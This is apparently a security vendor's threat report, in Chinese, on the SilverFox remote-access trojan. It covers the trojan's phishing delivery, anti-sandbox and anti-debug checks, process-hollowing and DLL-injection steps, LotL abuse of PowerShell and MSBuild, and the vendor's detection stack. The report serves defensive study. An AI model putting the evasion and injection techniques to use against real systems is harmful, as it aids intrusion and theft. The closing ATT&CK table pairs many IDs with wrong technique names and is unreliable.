山石网科安全技术研究院

一图看懂｜山石网科2026年第一季度报告

Fri, 24 Apr 2026 17:56:00 +0800

山石网科 2026-04-24 17:56 北京

全力冲刺，实现开门红

跳转微信打开

“银狐”系木马综合监测与防护报告

Fri, 19 Dec 2025 11:44:00 +0800

原创山石网科 2025-12-19 11:44 北京

分析银狐木马（SilverFox）技战术变更与对抗技术演进，持续云网端监控与检测银狐系工具及变种。

深入分析银狐系木马（SilverFox）技战术变更与对抗技术演进，持续云网端监控与检测银狐系工具及变种。

概览

银狐木马（SilverFox）自 2022 年左右萌芽至今，已从简单的Gh0st 变种演变为一个高度模块化、去中心化的网络犯罪基础设施。其攻击手法 TTP（战术、技术和程序）呈现明显的生命周期特征和多变的技术对抗能力。它并非一个单一的恶意程序，而是一个由多个变种和子变种构成的庞大生态系统，其开发者或运营团队不断对其进行更新和迭代，以应对安全软件的检测和防御措施。由于该木马家族和相关的 RAT 工具被不同组织、团伙使用，后文中将简称为银狐木马。

山石情报团队联合山石 EDR 基于视野内捕获到的银狐木马集，以及在众多实际客户现场协助确认定位、溯源与清除的案例中，大致总结银狐木马的攻击生命周期：

其每一个阶段的攻击手法更是多种多样，在后文中我们进行了详细的分析与讨论，总体可以归类如下：

攻击阶段	核心目标	主要技术特点	变化手法多样性
初始传播	通过诱饵文件接触目标	钓鱼邮件、社交平台诱导、加密压缩包	高（6 种以上传播方式）
诱导执行	诱使用户主动触发恶意载荷	文件伪装、诱导点击、二维码扫描	中（3-4 种诱导方式）
环境检测与对抗	识别并规避安全防护措施	进程检测、安全软件对抗、反沙箱技术	极高（8 种以上对抗技术）
载荷释放与持久化	部署恶意程序并实现长期驻留	加密解密、内存加载、配置型白利用	高（5 种以上释放方式）
远程控制与数据窃取	建立 C2 连接并窃取敏感信息	加密通信、屏幕监控、键盘记录	中（4-5 种控制手段）
二次传播与扩散	利用已控主机扩大攻击范围	社交账号控制、群聊传播、企业 IM 渗透	中高（4 种以上传播方式）

1.1 攻击目标与行业分布

银狐木马的攻击目标呈现出明显的选择性和针对性，其目标分布广泛但重点突出。山石威胁情报团队根据多个安全研究机构的报告和内部捕获的威胁情报分析，银狐木马的主要攻击目标集中在以下几个关键领域。首先，金融行业是其重点攻击对象，包括银行、证券公司、保险公司以及新兴的金融科技（FinTech）企业。攻击者通过窃取金融凭证、交易信息和客户数据，直接获取经济利益或进行后续的金融欺诈活动。其次，科技行业，特别是软件开发公司、互联网服务提供商和拥有大量知识产权（IP）的高科技企业，也是其重要目标。攻击者意图窃取源代码、产品设计、用户数据库等核心商业机密，用于商业间谍活动或在黑市上出售。此外，政府机构、国防承包商以及能源、交通等关键基础设施部门也频繁成为银狐木马的攻击目标，这些攻击往往带有更强的国家背景或战略意图，旨在窃取敏感信息、破坏关键服务或进行长期潜伏。

2025 年截至当前，山石情报处理银狐事件数行业分布表：

1.2 发展历程与主要变种演进

银狐木马的发展历程是一个不断适应安全环境、升级攻击技术的动态过程。其演进路径清晰地展示了现代恶意软件从简单到复杂、从通用到定向的演变趋势。在过去一段时间的监测中，我们发现银狐木马工具不断吸纳其他如勒索家族、远控工具等技术手法，丰富自己的技术栈，达到更好的入侵效果。

发展阶段	时间范围	主要攻击载体	核心技术特征	攻击目标
早期雏形阶段	约 2022 年左右	钓鱼邮件、虚假软件	基础信息窃取与远控功能	广撒网式攻击，个人用户为主
快速发展阶段	2022 年中至 2023 年	即时通讯工具（IM）	引入代码混淆、加密、反虚拟机/沙箱技术	攻击范围扩大，开始针对特定行业
成熟与变种爆发阶段	2023 年至 2024 年	钓鱼邮件、水坑攻击	模块化架构、定制化载荷、定向攻击（APT 特征）	金融、科技、政府等高价值目标
最新变种分析	2024 年至今	软件供应链、复杂钓鱼	无文件攻击、Living off the Land (LotL)、内存注入、窃密+勒索双重威胁！	出现疑似商业间谍活动

攻击生命周期与技术演进

2.1 初始传播阶段

银狐木马的初始传播阶段主要通过精心设计的钓鱼诱饵接触目标，比如攻击者精心构造钓鱼邮件，这些邮件通常伪装成来自可信实体，如银行、政府机构、知名电商平台或合作伙伴。邮件内容往往包含紧急通知、账户验证、发票、订单确认等具有欺骗性的主题，以诱导收件人点击邮件中的恶意链接或下载附件。这些附件通常是经过压缩的 ZIP 或 RAR 文件，其中包含了恶意的可执行文件（.exe）、脚本文件（如 JavaScript, VBScript）或利用了 Office 宏的文档。当用户被诱导打开这些文件时，恶意代码便会执行，从而启动银狐木马的感染链。

高仿真的携带银狐木马的下载页面：

除了钓鱼邮件，攻击者还通过创建虚假的软件下载网站或在合法软件中捆绑恶意代码的方式进行传播。这些虚假软件通常伪装成流行的免费软件、游戏破解补丁、系统优化工具或媒体播放器，用户在不知情的情况下下载并安装这些软件，从而将银狐木马引入自己的系统。这一阶段的攻击手法虽然相对基础，但凭借其广泛的传播和较高的欺骗性，成功地为银狐木马扩散奠定了基础。这是其攻击成功的关键第一步。

初始传播阶段的攻击手法大致总结如下：

钓鱼邮件：攻击者发送伪装成税务通知、补贴政策等主题的邮件，诱导用户点击链接或下载附件
社交平台诱导：通过微信、QQ、钉钉等即时通讯工具传播钓鱼文件，常以"企业补贴政策名单.msi"、"12 月稽查税务.msi"等文件名诱骗用户
伪造网站：创建仿冒税务机关、企业管理平台的钓鱼网站，诱导用户输入敏感信息
加密压缩包：使用带密码的加密压缩包分发木马，密码常通过钓鱼信息提示获取
SEO 伪造官网：通过搜索引擎竞价排名伪造合法软件官网，诱导用户下载
二次打包分发：将木马代码嵌入合法软件中，形成"白加黑"的混合型恶意程序

2.2 诱导执行阶段

在初始传播成功后，银狐木马进入诱导执行阶段，目的是诱使用户主动执行恶意程序。包括如下诱导手法：

文件伪装：将恶意程序伪装成与财税、金融管理相关的工作文档，如"重点稽查企业名单-终端.exe"
诱导点击：在钓鱼网页或文件中设置显眼的"点击查看"按钮，诱导用户点击下载恶意程序
二维码扫描：在钓鱼网页中嵌入二维码，诱导用户扫描后访问恶意网站或下载程序
模拟用户操作：新变种开始模拟用户的鼠标键盘操作，自动执行恶意程序
外链访问：通过 CHM 或 VBS 文件内部执行外链访问，下载远程控制模块

2.3 环境检测与对抗阶段

环境检测与对抗是银狐木马技术含量最高的阶段，其目的是识别并规避安全防护措施，确保恶意程序能够成功执行。在 2022 年中至 2023 年的快速发展阶段，银狐木马在技术层面进行了显著的迭代，其中最核心的改进是引入了更为复杂和先进的反检测（Anti-Detection）机制。

为了应对日益强大的安全软件和威胁检测系统，银狐木马的开发者投入了大量精力来提升其隐蔽性。这一时期的变种开始广泛采用代码混淆和加密技术。恶意代码的关键部分，如字符串、函数名和核心逻辑，都经过了复杂的加密或编码处理，使得静态分析变得异常困难。只有在运行时，这些代码才会在内存中被动态解密和执行，从而有效地规避了基于签名的静态检测。此外，银狐木马还开始采用多种反虚拟机（Anti-VM）和反沙箱（Anti-Sandbox）技术。它会检测当前运行环境是否为虚拟机（如 VMware, VirtualBox）或沙箱分析环境，通过检查特定的进程名、服务名、注册表项或硬件指纹（如 MAC 地址、CPU 核心数）来判断。一旦检测到自身处于分析环境中，木马可能会选择直接终止运行，或者执行无害的伪装行为，以欺骗分析人员。这些反检测机制的引入，极大地提升了银狐木马的生存能力和攻击成功率，使其能够更长时间地潜伏在受感染系统中而不被发现。部分技术包括但不限于：

进程检测：检测当前进程名是否为系统关键进程（如 svchost.exe、winlogon.exe），如果不是则启动 vssvc.exe 等系统进程
安全软件对抗：遍历进程查找并终止安全软件（如 360tray.exe、ZhuDongFangYu.exe），切断网络连接
反沙箱技术：检测虚拟化环境和沙箱，避免在受控环境中执行
各类进程注入：使用 PoolParty 注入、线程池注入等技术实现隐蔽驻留
驱动级对抗：在系统驱动目录释放恶意驱动（如 glbdll.dll），通过服务控制管理器注册并启动

如下是一个银狐木马旧的技战术：

下面是其中一个进阶版的模块化 TTP：

2.4 载荷释放与持久化阶段

在成功规避安全防护后，银狐木马进入载荷释放与持久化阶段，目的是部署恶意程序并实现长期驻留。在 2023 年至 2024 年的成熟与变种爆发阶段，银狐木马展现出了显著的模块化和定制化趋势，这标志着其架构设计达到了一个新的高度。

与早期版本作为一个单一、庞大的可执行文件不同，这一时期的银狐木马采用了高度模块化的架构。其核心程序通常是一个小巧的加载器（Loader） ，负责在受感染系统上建立初步的立足点。一旦成功运行，这个加载器会根据从命令与控制（C2）服务器接收到的指令，动态地下载和执行各种功能模块（Plugins）。这些模块可以根据攻击任务的具体需求进行灵活组合和定制，常见的模块包括信息窃取模块、远程控制模块、键盘记录模块、屏幕截图模块、加密货币挖矿模块、勒索软件模块等。这种模块化的设计带来了诸多优势。

某银狐木马分析过程中的解析模块示例：

首先，它使得木马的核心载荷更小，更容易通过邮件附件或网络下载进行传播，并降低了被静态检测到的风险。其次，它提供了极大的灵活性，攻击者可以根据不同的攻击目标（如金融机构、科技公司）和攻击目的（如窃取数据、勒索钱财）来定制恶意功能，实现“按需攻击”。最后，模块化的架构也使得更新和维护变得更加容易，开发者可以独立地更新某个功能模块，而无需重新编译和分发整个木马程序。目前捕获到的部分技术可以概述为：

加密解密：使用多层加密技术（如 XOR、RC4、AES）保护恶意载荷，部分变种使用域名生成算法（DGA）或 CDN 跳转隐藏 C2
内存加载：采用无文件攻击技术，直接在内存中加载恶意代码，避免在磁盘留下痕迹
配置型白利用：利用正常软件的配置文件在一定范围内进行恶意行为指定，规避杀软检测
计划任务创建：通过 COM 组件创建计划任务实现持久化，确保恶意程序在系统重启后仍能运行
注册表项修改：修改注册表启动项，实现开机自启

2.5 远程控制与数据窃取阶段

在成功持久化后，银狐木马进入远程控制与数据窃取阶段，目的是建立 C2 连接并窃取敏感信息。远程控制模块是其作为远程访问木马（RAT）的核心，它负责建立并维持与攻击者命令与控制（C2）服务器的稳定通信，并执行来自 C2 服务器的各种指令。该模块的设计注重隐蔽性和可靠性。在通信协议方面，早期的变种可能使用简单的 HTTP 或 HTTPS 协议进行通信，但为了更好地隐藏流量，后期的变种开始采用更复杂的协议，如WebSocket，或者将 C2 通信流量伪装成正常的 HTTPS 流量，甚至利用云服务（如 AWS, Azure）或内容分发网络（CDN） 作为 C2 基础设施，以增加追踪和封锁的难度。通信内容通常经过加密，以防止被网络入侵检测系统（NIDS）或安全分析师截获和解析。

某云资产被观测到有 CC 流量交互：

在建立通信后，受感染的客户端（即银狐木马）会定期向 C2 服务器发送心跳包，以报告其在线状态并请求新的指令。C2 服务器则可以向客户端下发各种指令，这些指令被编码在心跳包的响应中。指令集非常丰富，涵盖了文件管理（上传、下载、删除、重命名、执行文件）、系统管理（获取系统信息、列出/终止进程、修改注册表、执行 Shell 命令）、网络操作（端口扫描、代理转发）、以及间谍功能（屏幕截图、键盘记录、音频录制、摄像头拍照）等。该模块通常会将接收到的指令放入一个队列中，由一个专门的线程来解析和执行这些指令，并将执行结果回传给 C2 服务器。这种异步的指令执行机制保证了即使某个指令执行时间较长，也不会阻塞与 C2 服务器的通信。

C2 通信：连接预设或动态获取的 C2 服务器（如 13.230.98[.]233），使用自定义二进制 TCP 协议
加密通信：将原始 Gh0st 协议数据用 AES/RC4 加密，再封装到 HTTPS POST 请求体中，伪装成正常 Web 流量
屏幕监控：实时捕获屏幕图像，发送给攻击者
键盘记录：记录用户键盘输入，特别是敏感信息（如密码、验证码）
文件窃取：扫描并窃取主机上的敏感文件，如财务数据、税务信息等

2.6 二次传播与扩散阶段

在成功控制主机后，银狐木马进入二次传播与扩散阶段，目的是利用已控主机扩大攻击范围。相比较初始入侵阶段，二次传播在获得了足够的目标用户信息之后，其社会工程学诱饵的运用发展为高度定制化和情境化的精准欺骗。

在初期，攻击者主要使用通用的、具有普遍吸引力的诱饵，例如伪装成知名快递公司（如 DHL、FedEx）的包裹通知、银行的安全警告、或者热门软件（如 Adobe Reader、Microsoft Office）的更新提示。这些诱饵虽然简单，但由于其广泛的适用性，在当时取得了不错的攻击效果。随着用户安全意识的提高和安全软件的普及，这种通用诱饵的成功率开始下降。因此，银狐木马的运营者开始转向更具针对性的社会工程学策略。他们开始利用时事热点，如重大体育赛事、政治事件、流行病疫情等，来构造相关的钓鱼邮件和虚假网站，利用公众对这些事件的关注度来诱导点击。更进一步，攻击者开始进行目标侦察，通过社交媒体（如 LinkedIn）、公司网站、行业论坛等渠道收集目标个人或组织的信息，然后利用这些信息来定制高度个性化的诱饵。例如，一封钓鱼邮件可能会伪装成目标公司 CEO 发送给财务部门的紧急汇款指令，或者伪装成人力资源部门发送的薪资调整通知。这种高度定制化的诱饵极大地提高了攻击的可信度和成功率，使得即使是经验丰富的用户也难以分辨真伪。其部分手法如下：

社交账号控制：控制受害者的微信、QQ 等社交账号，冒充其身份在群聊中传播恶意程序
群聊传播：自动将其微信拉入新建诈骗群，并踢出原用户，冒充身份继续钓鱼
内部企业 IM 渗透：利用企业 IM 工具（如钉钉）发起"全员禁言"通知，附带含木马的压缩包
伪造通知：伪造政府部门通知（如"国家财政补贴"），增加潜在受害者的紧迫感和好奇心

核心对抗技术演进

银狐木马的成功在很大程度上归功于其不断演进的对抗技术，这些技术旨在规避安全软件的检测、阻挠安全研究人员的分析，并确保其在受感染系统中的长期存活。

对抗技术类别	早期阶段 (2022)	进阶阶段 (2022-2023)	最新变种 (2024+)
反虚拟机/沙箱	检测用户名、进程名 (如`vmtoolsd.exe`)	检查硬件指纹 (MAC 地址, BIOS)、CPU 核心数、内存大小	分析系统“生活痕迹”（桌面文件、浏览历史）、引入长时间延迟、检测调试器
反调试/代码混淆	简单的字符串加密	代码混淆、插入垃圾代码	控制流扁平化、不透明谓词、高级字符串加密
内存注入/无文件攻击	简单的 DLL 注入	进程镂空 (Process Hollowing)	Living off the Land (LotL) 、利用 PowerShell/MSBuild、内存中完全解密执行

3.1 反虚拟机与反沙箱技术

3.1.1 早期简单的环境检测 (用户名、进程名)

在银狐木马发展的早期阶段，其反虚拟机（Anti-VM）和反沙箱（Anti-Sandbox）技术相对简单和直接，主要依赖于对一些常见虚拟化和分析环境特征的静态检查。这些检测方法虽然基础，但在当时对于规避主流的自动化分析系统具有一定的效果。其中一种常见的检测方法是检查特定的用户名。许多公开的虚拟机镜像或沙箱环境会使用默认的用户名，例如“sandbox”、“malware”、“test”等。银狐木马的代码会调用 Windows API（如GetUserName）来获取当前登录用户的用户名，并与一个内置的黑名单进行比较。如果匹配成功，木马就会判断自己运行在分析环境中，并立即终止执行或进入休眠状态。

早期堆栈字符串硬编码的反沙箱环境监测示例：

另一种常见的检测方法是检查正在运行的进程列表。虚拟机和沙箱环境通常会运行一些特定的辅助工具或服务，这些工具在进程列表中会留下明显的痕迹。例如，VMware Tools 的进程名是vmtoolsd.exe，VirtualBox Guest Additions 的进程名是VBoxService.exe。银狐木马会通过CreateToolhelp32Snapshot和Process32First/Next等 API 来遍历当前系统中的所有进程，并检查是否存在这些与虚拟化相关的进程名。如果发现这些进程，木马同样会采取规避行为。这些早期的检测技术虽然简单，但它们代表了银狐木马对抗分析环境的初步尝试，为后续更复杂的反检测机制的发展奠定了基础。

通过关键 API 枚举进程名示例：

3.1.2 进阶检测：硬件指纹、CPU 核心数、内存大小

随着安全分析技术的不断进步，简单的基于用户名和进程名的检测方法逐渐失效。为了应对这一挑战，银狐木马在后续的发展中引入了更为进阶和复杂的反虚拟机与反沙箱技术，这些技术通过分析系统的硬件指纹、CPU 核心数、内存大小等更深层次的特征来判断运行环境。硬件指纹检测是一种更为可靠的方法。银狐木马会检查系统的硬件信息，如主板制造商（通过 WMI 查询Win32_BaseBoard）、BIOS 版本（通过 WMI 查询Win32_BIOS）以及 MAC 地址。

一个多步骤监测的部分截图示例：

许多虚拟机使用的是虚拟化的硬件，其制造商信息（如“VMware, Inc.”）或 MAC 地址前缀（如 VMware 的00:05:69, 00:0C:29, 00:1C:14）是已知的，通过比对这些信息，木马可以准确地识别出虚拟机环境。CPU 核心数和内存大小的检测也是一种有效的手段。许多沙箱环境为了节省资源，会配置较少的 CPU 核心（例如，只有 1 个或 2 个）和较小的内存（例如，小于 4GB）。而现代的物理计算机通常拥有更多的核心和更大的内存。银狐木马会通过调用GetSystemInfo或GetLogicalProcessorInformation等 API 来获取 CPU 核心数，并通过GlobalMemoryStatusEx来获取物理内存总量。如果检测到的核心数或内存大小低于预设的阈值，木马就会认为自己在沙箱中运行，并拒绝执行。这些进阶的检测技术使得银狐木马能够更有效地规避自动化分析，增加了安全研究人员分析其行为的难度。

山石云沙箱捕获到尝试注入修改和感染 AMSI 部分接口，实现免杀：

3.2 反调试与代码混淆技术

3.2.1 调试器检测与干扰

为了对抗逆向工程分析，银狐木马在其代码中集成了多种反调试技术，旨在检测和干扰调试器的运行。这些技术从简单的 API 调用到复杂的底层操作，层层递进，构成了对分析人员的有效阻碍。一种基础的反调试方法是调用 Windows 提供的专门用于检测调试器的 API，例如IsDebuggerPresent()。这个函数会检查当前进程是否正在被调试，如果返回值为真，木马就会采取相应的规避措施，如终止运行或执行错误的路径。

调用示例：

另一种常见的方法是检查进程的 PEB（Process Environment Block）结构中的BeingDebugged标志位，其原理与IsDebuggerPresent()类似。除了直接检测，银狐木马还会使用一些干扰技术来阻碍调试。例如，它会频繁地调用OutputDebugString()函数，向调试器输出大量无意义的信息，这不仅会污染调试器的输出窗口，还可能影响调试器的性能。更高级的反调试技术包括检查调试器留下的痕迹，如是否存在特定的调试器进程（如ollydbg.exe, x64dbg.exe）、是否加载了调试器相关的 DLL，或者是否存在用于通信的命名管道。一些变种还会利用异常处理机制来反调试，例如故意触发一个异常，然后检查该异常是否被调试器捕获。如果异常处理流程与预期不符，木马就会判断自己正在被调试。这些反调试技术的综合运用，使得对银狐木马进行动态调试分析成为一项极具挑战性的任务。

3.2.2 字符串加密与代码混淆

为了防止通过静态分析轻易获取其功能和逻辑，银狐木马广泛采用了字符串加密和代码混淆技术。字符串加密是其中最基本也是最有效的一种手段。木马程序中所有敏感的字符串，如C2 服务器地址、URL、注册表路径、API 函数名、错误信息等，在程序文件中都是以加密形式存储的。只有在程序运行时，当这些字符串需要被使用时，才会在内存中通过特定的解密算法（通常是自定义的 XOR、AES 或 RC4 算法）进行动态解密。这使得通过简单的字符串搜索（如使用strings工具）来定位关键功能变得不可能，极大地增加了静态分析的难度。

通过 AES 去 SMC 解密一大段加密区段，用 AES 可以规避简单的 XOR 被一些静态引擎监测：

3.2.3 控制流混淆与反静态分析

除了字符串加密和基本的代码混淆，银狐木马还采用了更高级的控制流混淆技术，以进一步增强其反静态分析的能力。控制流混淆的目标是打乱程序的正常执行流程，使得分析工具（如反编译器）难以重建出程序的高级逻辑结构。一种常见的控制流混淆技术是 “控制流扁平化”（Control Flow Flattening） 。在这种技术中，程序中所有的基本块（basic blocks）都被放置在一个大的switch语句中，程序的执行流程不再是线性的，而是通过一个状态变量来控制，每次执行完一个基本块后，状态变量会被更新，然后跳转到switch语句的开头，根据新的状态值来决定下一个要执行的基本块。这种结构完全打乱了原有的函数调用和跳转关系，使得反编译出的代码非常难以阅读和理解。

另一种技术是 “不透明谓词”（Opaque Predicates） ，即在代码中插入一些其结果在编译时已知，但在静态分析时难以判断的条件表达式。例如，if (x * 0 == 0)这样的条件永远为真，但对于分析工具来说，它需要进行复杂的计算才能得出这个结论。通过大量使用这类不透明谓词，可以创建出大量的虚假分支，进一步混淆程序的控制流。这些高级的控制流混淆技术，结合字符串加密和代码混淆，共同构成了银狐木马强大的反静态分析防线，使得在没有动态调试的情况下，几乎不可能完全理解其恶意行为。

大量无用的跳转，IDA 反编译视图示例：

3.3 内存注入与无文件攻击技术

3.3.1 进程注入技术的演进 (Process Hollowing, DLL Injection)

银狐木马在内存注入技术方面展现了持续的演进，从早期的简单 DLL 注入发展到更为复杂和隐蔽的进程注入技术，如进程镂空（Process Hollowing），以规避基于文件的检测。DLL 注入是一种相对传统的进程注入技术。其基本思路是，首先通过OpenProcess API 获取目标进程的句柄，然后在目标进程的地址空间中分配一段内存（使用VirtualAllocEx），接着将恶意 DLL 的路径名写入这段分配的内存中（使用WriteProcessMemory），最后通过CreateRemoteThread API 在目标进程中创建一个远程线程，该线程以LoadLibrary函数作为入口点，以之前写入的 DLL 路径名作为参数。这样，目标进程就会加载并执行这个恶意的 DLL。

虽然有效，但 DLL 注入会在目标进程的模块列表中留下痕迹，容易被一些安全工具检测到。为了克服这一缺点，银狐木马的后期变种开始采用进程镂空技术。进程镂空是一种更为高级的注入技术，其步骤如下：首先，攻击者以挂起（suspended）模式启动一个合法的、受信任的系统进程（如svchost.exe或explorer.exe）。然后，通过NtUnmapViewOfSection或类似 API，卸载该进程内存空间中的原始可执行映像。接着，在腾出的内存空间中，为恶意载荷（通常是一个 PE 文件）分配新的内存，并将恶意代码的各个节（sections）写入其中，同时修复 PE 文件的导入地址表（IAT）和重定位表。最后，修改目标进程的线程上下文，将指令指针（EIP/RIP）指向恶意代码的入口点，并恢复线程的执行。通过进程镂空，恶意代码得以在一个合法的、受信任的进程上下文中运行，而不会在模块列表中留下任何痕迹，从而实现了极高的隐蔽性。

Path ETW 期望关闭部分沙软监测功能：

3.3.2 利用 PowerShell、MSBuild 等合法工具执行恶意代码

银狐木马在攻击手法上的一大特点是 “Living off the Land”（LotL） ，即利用系统中已存在的、合法的、受信任的工具来执行恶意代码，从而绕过基于签名的检测和应用程序白名单策略。其中，PowerShell 和 MSBuild是其最常利用的两个工具。PowerShell 是 Windows 系统内置的强大脚本环境和命令行外壳，它提供了对.NET Framework 的完全访问权限，功能极其强大。银狐木马常常通过钓鱼邮件中的恶意宏或脚本，调用 PowerShell 来下载和执行其载荷。攻击者会使用复杂的命令行参数和编码技术（如 Base64 编码）来混淆 PowerShell 命令，使其难以被静态分析。例如，一个恶意的 PowerShell 命令可能会从一个看似合法的 URL 下载一个加密的载荷，在内存中解密并执行，整个过程不会在磁盘上留下任何文件。

MSBuild 是微软的构建引擎，通常用于编译.NET 应用程序。然而，MSBuild 也支持在构建过程中执行内联任务（Inline Tasks） ，这些任务可以用 C#等语言编写。银狐木马的攻击者会创建一个恶意的.csproj或.vbproj项目文件，其中包含一个内联任务，该任务的代码就是恶意的载荷。然后，通过调用msbuild.exe来执行这个项目文件，恶意代码就会在 MSBuild 的合法进程上下文中被执行。由于msbuild.exe是一个带有微软签名的合法程序，这种攻击方式能够非常有效地绕过安全软件的检测。

如下是钓鱼邮件携带的恶意宏文件，触发的调用链示例：

3.3.3 在内存中解密和执行载荷以规避静态检测

为了最大限度地规避静态检测，银狐木马采用了在内存中解密和执行载荷的核心策略。其恶意程序在磁盘上存储时，其真正的恶意代码（即载荷）通常是以加密或高度压缩的形式存在的，而程序本身只是一个负责解包和加载的“外壳”（stub）。这个外壳程序的结构和代码经过了精心的混淆，使其看起来像一个普通的、无害的程序。当这个外壳程序被执行时，它并不会立即表现出恶意行为。相反，它会首先执行一系列反检测检查，如检查是否在虚拟机或沙箱中运行。

如果环境检查通过，外壳程序才会开始其核心工作：在内存中解密或解压缩其携带的载荷。这个载荷通常是银狐木马的主要功能模块，如远程控制模块或信息窃取模块。解密过程通常涉及复杂的算法和密钥，有时密钥甚至需要从远程 C2 服务器动态获取。一旦载荷在内存中被完全解密，外壳程序就会使用前面提到的进程注入技术（如进程镂空），将这个解密后的载荷注入到一个新的、合法的系统进程中（如explorer.exe）。然后，它会修改该进程的线程上下文，将执行权转移给注入的恶意代码。通过这种方式，银狐木马的恶意载荷在整个生命周期中，从未以明文形式出现在磁盘上，这使得基于文件签名的传统杀毒软件几乎无法检测到它。这种“无文件”或“内存中”的执行方式，是银狐木马对抗静态检测的核心手段，也是其能够长期保持隐蔽性的关键所在。

山石防护体系

山石网科基于云原生安全架构，构建了面向“银狐”木马的云端持续威胁情报狩猎体系，旨在实时捕获全球范围内新出现的“银狐”样本、C2 地址、钓鱼域名及传播链条，通过自动化关联分析多源异构数据，精准识别其攻击基础设施与 TTPs（战术、技术与程序），并动态生成高保真威胁情报，驱动网络侧（NGFW/NDR）与终端侧（EDR）的联动响应，从而实现从被动防御向主动狩猎的范式升级，有效压缩攻击者的驻留窗口。

山石网科采用“三层联动、闭环反馈”的云网端狩猎架构：

4.1 云端持续狩猎

山石情报中心通过全球分布式蜜罐网络、自动化沙箱集群、客户 EDR 遥测数据及多源开源/商业威胁情报的融合采集，实现对“银狐”相关出入站流量的全维度感知。系统对可疑样本进行深度动态分析，实时提取其外联 C2 地址、DGA 生成域名、HTTPS 通信特征、DNS 隧道行为等出站指标，并结合历史攻击链路反向关联入站诱饵（如钓鱼邮件 URL、伪造官网、社交平台传播链接），形成完整的攻击上下文。

借助图计算与机器学习模型，平台自动聚类同源基础设施、识别 TTPs 演化规律，并将高置信度 IOC（IP、域名、文件 Hash）与行为规则（如异常 POST 请求体结构、固定心跳包间隔）以 STIX/TAXII 或 YARA/Sigma 格式秒级推送至山石下一代防火墙（NGFW）、网络检测与响应系统（NDR）及终端检测与响应平台（EDR），实现从云端情报发现到网络边界阻断、终端行为遏制的一体化闭环防御，确保在“银狐”木马完成横向移动或数据回传前即被精准拦截。

云端近一周捕获活跃出站银狐家族 C2 域名资产数量：

实时公开报告监控：

持续的特征样本捕获与技战术提取，监测到银狐相关行为：

沙箱对技战术提取迅速转换情报标签：

4.2 网侧精准拦截

依托高性能入侵检测系统（IDS）与网络检测与响应（NDR）模块，构建针对“银狐”木马的深度防御能力。通过内置的“银狐”专属检测规则库，实时识别其典型通信特征，如伪装 HTTPS 流量中的固定加密包长、异常 User-Agent、心跳式 C2 连接及 DGA 域名请求。NDR 引擎结合全流量元数据与云端威胁情报，对出入站行为进行上下文关联分析，精准发现隐蔽信道与横向移动迹象，并自动触发阻断策略或联动 EDR 隔离受控主机，实现从网络层快速遏制“银狐”攻击链。

防火墙设备基于 IPS 规则实时拦截和 DUMP CC 交互流量：

4.3 终端快速感知

山石网科 EDR 通过轻量级内核级探针，实时监控进程行为、注册表修改、计划任务创建及内存加载等关键动作，结合云端下发的“银狐”专属检测剧本（如 svch0st.exe 异常子进程、微信目录恶意写入、Gh0st 协议内存特征），实现毫秒级威胁感知。一旦命中高置信度行为链，立即触发自动隔离、内存快照采集与告警上报，确保在“银狐”完成持久化或数据回传前快速响应。

主机探测到敏感事件快速告警：

还原关键关联进程关系链，辅助定位到白加黑样本：

云沙箱实时狩猎与分析银狐特征：

总结

“银狐”木马作为近年来高度活跃且持续演进的远控窃密型威胁，已从早期 Gh0st RAT 变种发展为具备多渠道传播、强免杀能力、模块化载荷和精准钓鱼策略的成熟攻击平台。其技术特点包括白加黑投递、内存无文件执行、驱动级对抗、HTTPS 封装 C2 通信，以及利用微信等企业 IM 实现二次扩散，对政府、金融、医疗等关键行业构成严重风险。面对其快速迭代与 APT 化趋势，山石网科将持续通过云端威胁情报狩猎、网络侧 NDR 深度检测与终端 EDR 行为感知三位一体的协同防御体系，动态追踪“银狐”最新变种、基础设施与 TTPs 演化。我们将不断优化检测规则、强化自动响应能力，并向客户提供实时预警与专项防护策略，确保在攻击链早期精准阻断，筑牢面向高级持续性威胁的主动防御屏障。

技战术表

注：部分 ID 非最新

战术	技术细分	ATTCK 技术名称	参考备注
初始访问	钓鱼攻击	T1566（Phishing）	钓鱼邮件标题如"六月偷-漏涉-税-违规企业名单公示"诱导用户点击
初始访问	网站重定向	T1188（Web Redirection）	通过伪造的钓鱼网站将用户重定向到恶意服务器
初始访问	社会工程学	T1203（Social Engineering）	冒充领导、同事身份通过微信、QQ 等社交软件发送恶意文件
初始访问	软件漏洞利用	T1133（External Remote Services）	利用 IPGUARD、固信终端等管理软件的合法远程控制功能作为攻击入口
持久化	进程注入	T1553（Process Injection）	通过进程空洞（Process Hollowing）技术将恶意代码注入 notepad.exe 等合法进程
持久化	内存驻留	T1059（Command Line Interface）	利用 netsh 命令设置静态 IP 策略，阻断安全软件云监控
持久化	系统服务	T1547（Windows Service）	安装存在漏洞的 wsftprm.sys 等驱动程序实现内核级持久化
持久化	注册表修改	T1059（Command Line Interface）	修改注册表启动项，添加"Windows Update Helper"等伪装条目
持久化	计划任务	T1505（Componentry）	创建每日凌晨 2 点执行的计划任务，维持恶意代码运行
权限提升	驱动漏洞利用	T1068（BYOVD）	利用系统或合法软件自带的漏洞驱动获取内核权限
权限提升	服务提权	T1547（Windows Service）	通过安装漏洞驱动到系统服务中实现权限提升
权限提升	外部服务利用	T1133（External Remote Services）	利用已安装的企业管理软件（如 IPGUARD）的合法权限进行提权
安全软件对抗	网络策略修改	T1562.001（Firewall/Network Strategies）	通过 netsh 设置错误的本地 IP 连接静态地址策略，屏蔽安全软件云端检测
安全软件对抗	禁用安全功能	T1562.002（Disable/Disrupt Security Software）	利用 WDAC 策略直接禁用安全软件
安全软件对抗	内核级对抗	T1562.006（Rootkit）	使用 RootKit 技术实现内核层隐蔽驻留，常规杀软难以检测
安全软件对抗	进程注入对抗	T1093（Child Process）	注入 LSASS 等受保护进程绕过安全软件检测
C2 通信	加密协议	T1071（Application Layer Protocol）	采用 TLS 1.3+自定义 AES-256 加密通信，规避流量监控
C2 通信	动态域名解析	T1589（Dynamic Resolution）	每日生成 5 个随机域名（如 x89kj23d.xyz），仅 1 个为真实 C2
C2 通信	通信频率控制	T1071（Application Layer Protocol）	默认每 30 分钟发送一次心跳包，减少网络流量特征
数据窃取	凭证收集	T1539（Steal or Forge Kerberos 受到攻击）	Hook advapi32.dll 的 CryptProtectData 函数，获取浏览器保存的账号密码
数据窃取	文件收集	T1003（OS Shell）	扫描 Desktop、Documents、Downloads 目录，上传含"合同"、"密码"等关键词的文件
数据窃取	键盘记录	T1552.001（Keylogging）	实时获取键盘输入内容，监控敏感操作
数据窃取	加密外传	T1585（Data Encrypted）	使用 AES-256、RC4+Base64、XOR+加法等多层加密传输窃取数据

